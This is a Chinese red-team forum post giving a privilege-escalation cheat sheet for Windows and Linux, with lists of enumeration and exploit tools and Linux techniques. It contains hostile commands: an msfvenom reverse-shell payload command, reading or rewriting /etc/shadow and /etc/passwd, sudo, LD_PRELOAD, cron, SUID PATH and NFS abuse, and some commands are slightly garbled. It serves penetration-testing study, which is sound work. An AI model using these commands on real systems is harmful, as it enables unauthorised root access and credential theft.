DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 4526|回复: 0

[红队] 权限提升

[复制链接]

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-3-11 16:20:20 | 显示全部楼层 |阅读模式


一、PrivEsc 指南



二、Windows


2.1 参考指南



2.2 Windows PrivEsc 工具


  • WinPEAS (The Go-To) - 这些工具搜索本地可以权限提升的路径,可以利用这些路径并显示展示出来,以便轻松识别错误配置
  • SeatBelt - Seatbelt 是一个 C# 项目,它从进攻性和防御性安全角度执行许多面向安全的主机调查 "安全检查"
  • Windows Exploit Suggester Next Gen - WES-NG 是一个基于 Windows 的 systeminfo 实用程序输出的工具,它提供了操作系统易受攻击的漏洞列表,包括针对这些漏洞的任何利用
  • Sherlock and Watson - 寻找缺失的补丁和知识库
  • Accesschk.exe with the accept EULA flag - 一个 Microsoft Sysinternals 工具,非常适合审核系统上的权限以及审核其他系统上的权限。此版本是一个独立的实用程序,带有旧代码,允许自动接受 EULA 标志
  • PrintSpoofer - 通过在 Windows 10 和 Server 2016/2019 上滥用 SeImpersonatePrivilege 从本地/网络服务到系统
  • Rattler - Rattler 是一种自动识别 DLL 的工具,可用于 DLL 预加载攻击
  • SharpImpersonation - 用户模拟工具 - 通过 Token 或 Shellcode 注入

2.3 Potato Exploits



三、Linux


3.1 参考指南



3.2 Linux PrivEsc 工具


  • LinPEAS - 这些工具搜索本地可以权限提升的路径,可以利用这些路径并显示展示出来,以便轻松识别错误配置
  • LinEnum - 脚本化的本地 Linux 枚举和权限提升检查
  • LSE - Linux 智能枚举,用于渗透测试和 CTF 的 Linux 枚举工具
  • Unix Privesc Check - Unix-privesc-checker 是一个在 Unix 系统上运行的脚本 (在 Solaris 9、HPUX 11、各种 Linux、FreeBSD 6.2 上测试),试图找出可能允许本地非特权用户将权限提升给其他用户或访问本地应用程序 (例如数据库) 的错误配置
  • Linux Exploit Suggester 2 - 下一代 Linux 内核 Exploit Suggester
  • SUDO Killer - 通过 SUDO 滥用来提升 Linux 权限

3.3 Linux 中一些方法


3.3.1 基本


3.3.1.1 战略


  • Check user
  • Run enum scripts at increasing levels
  • Run manual commands
  • Check user home dir
    • /var/backup, /var/log, history files
  • Try quickest methods first
  • Check internal ports
  • Use Kernel exploits LAST

3.3.1.2 枚举 Linux 中的权限


  • Users
    • Accounts in /etc/passwd
    • password hashes in /etc/shadow
    • identified by a UID
    • root = UID 0
    • 3 types
      • Real - defined in /etc/passwd. who they actually are
      • Effective - 当以另一个用户身份执行进程时,他们的有效 ID 设置为该用户的真实 ID
        • Most Access Control decisions
        • whoami
      • Saved - 用于确保 SUID 进程可以暂时将用户的有效 IS 切换回他们的 Real ID 并再次切换回来,而不会丢失原始有效 ID 的踪迹
  • Groups
    • /etc/group
    • 主要和多个次要组
    • 默认主组与用户帐户同名
  • Files/Dir
    • 拥有一个所有者和一个组
    • 权限:读写执行
    • 3 个权限集:所有者、组和所有其他人
  • 特殊权限
    • setuid (SUID) 位 - 设置后,文件将以文件所有者的权限执行
    • setgid (SGID) 位 - 当在文件上设置时,文件将以文件组的权限执行
      • 在目录上设置时,在该目录中创建的文件将继承目录本身的组
  • 查看权限
    • #ls -l /file/path
    • 前 10 个字符是文件的权限
    • 第一个字符是类型:"-" 表示文件,"d" 表示目录
    • SUID/SGID 权限在执行位置用 "s" 表示
  • 用户 ID 命令
    • #id
    • #cat /proc/$$/status | grep "[UG]id"
  • Spawning root shells
    • /bin/sh or /bin/bash
    • "rootbash" suid
      • 制作 /bin/bash 可执行文件的副本 - 确保它由 root 用户拥有并设置了 SUID 位
      • 可以通过简单地执行带有 -p 标志的 rootbash 文件来生成 root shell
      • 这是一个持久的 shell
    • 自定义可执行文件
      • 当 root 进程执行你可以控制的另一个进程时
    • msfvenom
      • 可用于生成可执行的 elf 文件
      • $msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f elf > shell.elf
      • 可以用 netcat 或 multi/handler 捕获
    • Native reverse shells

3.3.2 技术


3.3.2.1 Kernel exploits



3.3.2.2 Service Exploits


  • #ps aux | grep "^root"  Show all processes runnign as root
  • #netstat -nl Show all actice connections (look for services)
  • 尝试识别版本号并研究漏洞
    • #<program> -v or --version show version number
    • #dpkg -l | grep <program>
    • #rpm -qa | grep <program>
  • 某些以 root 身份运行的进程可能会绑定到一个内部端口,通过该端口进行通信
    • 如果无法在目标机器上本地运行,可以使用 ssh 将端口转发到本地机器
    • $ssh -R <本地端口>:127.0.0.1:<服务端口> <用户名>@<本地机器>
    • 运行 netstat 查看哪些服务正在监听 127.0.0.1:<port>,然后使用端口转发发送到目标端口

3.3.2.3 弱文件权限


  • /etc/shadow
    • 可读 - 复制并破解 Root 用户哈希
    • 可写 - 使用新的 root 密码复制和编辑 shadow 文件
  • /etc/passwd
    • 为了向后兼容,如果用户行的第二个字段是密码哈希,则优先于 /etc/shadow
    • 替换 root 的密码,或附加具有 root 权限的新用户
    • 删除第二个字段中的 x 就好像用户没有密码一样
  • 备份
    • 有些可以阅读以收集有趣的文件

3.3.2.4 滥用 sudo


  • Rules in /etc/sudoers
  • 有用的命令
    • #sudo -u <username> <program>
    • # sudo -l (show what you can run)
    • @ sudo -s
    • #sudo -i
    • #sudo /bin/bash
    • #sudo passwd
  • Shell 转义序列
  • 滥用预期功能
    • Read/write to files owned by root
    • EX apache2 - 它将尝试读取作为参数传递的任何文件的第一行
      • #sudo apache2 -f /etc/shadow
  • 环境变量
    • 通过 sudo 运行的程序可以从用户的环境中继承环境变量
    • 在 /etc/sudoers 文件中,选项 env_reset 和 env_keep 选项可用。 这些用#sudo -l 显示
    • LD_PRELOAD 变量,可设置为共享对象文件 (.so) 的路径
      • 通过创建自定义共享对象和 init() 函数,我们可以在对象加载后立即执行代码
      • 如果真实用户 ID 与有效 ID 不同,则无法工作,另外,sudo 必须有 env_keep 选项
      • #sudo LD_PRELOAD=<创建的共享对象的路径> <可以作为 sudo 运行的命令>
    • LD_LIBRARY_PATH
      • 首先搜索共享库的目录集
      • 打印程序使用的共享库
        • #ldd /usr/sbin/apache2
      • 通过创建一个与程序使用的名称相同的共享库,并将 LD_LIBRARY_PATH 设置为其父目录,程序将加载我们的共享库

  • sudo 缓存
    • PTFM: Sudo Caching - pg. 93

3.3.2.5 定时任务


  • 在拥有它们的用户的安全级别上运行
  • 默认使用 /bin/sh 和有限的环境变量运行
  • cron 表文件 (crontabs) 存储 cron 作业的配置
  • Cronjobs 位于 /var/spool/cron/ 或 /var/spool/cron/crontabs/
  • 系统范围的 crontab 位于 /etc/crontab
  • 如果可以写入一个通过 cronjob 运行的程序或脚本,我们可以用我们自己的代码重新编写它
  • PATH 环境变量
    • 默认设置为 /usr/bin
    • 可以在 crontab 文件中覆盖
    • 如果 cronjob 脚本/程序不使用绝对路径并且路径目录之一是用户可写的,你可以创建与 cronjob 同名的程序或脚本
  • 通配符
    • 当通配符 (*) 提供给命令作为参数时,shell 将首先对通配符执行文件名扩展 (通配符)
    • 此过程将通配符替换为当前目录中文件和目录名称的空格分隔列表
    • 可以创建与命令行选项匹配的文件名,例如 "--help"

3.3.2.6 SUID/SGID 可执行文件


  • 查找设置了 SUID/SGID 位的文件
    • #find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec la -l {} \; 2> /dev/null
    • 可以对 SUID/SGID 文件使用 shell 转义序列
    • PTFM: BSUID and SGID - pg. 93
  • 已知漏洞 - 某些程序使用 SUID 文件作为其进程或安装的一部分
    • 搜索这些! 寻找进出口!
  • 共享对象注入
    • 使用 strace 跟踪从程序到它试图调用的任何共享对象的系统调用
    • 如果我们可以写入该位置,我们将创建一个将与程序一起运行的对象
    • 创建一个创建文件的 c 文件
    • 编译 c 文件
  • PATH 环境变量
    • 如果一个程序试图通过仅使用该程序而不是绝对路径来执行另一个程序,我们可以告诉 shell 去哪里寻找
    • 寻找易受攻击的程序
      • 这些子安全文件通常在程序中作为字符串被提及
      • 在主机可执行文件上运行字符串
      • 也可以使用 strace 与 ltrace
      • #strace -v -f -e execve <命令> 2>&1 | grep 执行
      • 攻击
        • 创建新的 shell 可执行文件命名子执行的服务
        • 将路径变量设置为新创建的可执行文件的路径
        • #PATH=.:$PATH <要执行的主机文件>
  • 滥用 shell 功能
    • 旧版本 < 4.2-048 可以用绝对路径名定义用户函数
      • 这些可以导出并且可以优先于被调用的实际可执行文件
      • #function <service oyu 想冒充> { /bin/bash -p; )
      • #export -f /user/sbin/service
    • 可以使用 -x 命令或修改 SHELLOPTS 以包含 xtrace 来启用调试模式
      • SHELLOPTS 是只读的,但是 env 命令允许设置 SHELLOPS
      • 在调试模式下,Bash 使用 env var PS4 显示调试语句的额外提示,该变量可以包含嵌入式命令
      • 如果一个 SUID 文件通过 bash 运行另一个文件,则可以继承这些 envi 变量
      • 这不适用于 4.4 之后的 bash

  • Linux Privilege Escalation using SUID Binaries

3.3.2.7 密码和密钥


  • PWs 服务可以以纯文本形式存储在配置文件中
  • 历史文件可能包含用作命令一部分的密码
    • #ls -a -> look for _history files
  • 配置文件
    • opnevpn files -> auth-user-pass option
  • SSH 密钥 - 可用于 leu 的密码

3.3.2.8 NFS


  • 在 /etc/exports 下配置的共享
    • 创建的文件继承远程用户的 UID 和 GUID,即使他们在本地没有帐户
  • 命令
    • # showmount -e [目标]
    • # nmap -sV -script=nfs-showmount [目标]
    • #mount -o rw,vers=2 [目标]:[共享] [本地目录]
  • Linux Privilege Escalation using Misconfigured NFS

3.3.2.9 Python 库劫持



3.3.2.10 其他



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-5-19 09:31 , Processed in 0.061109 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表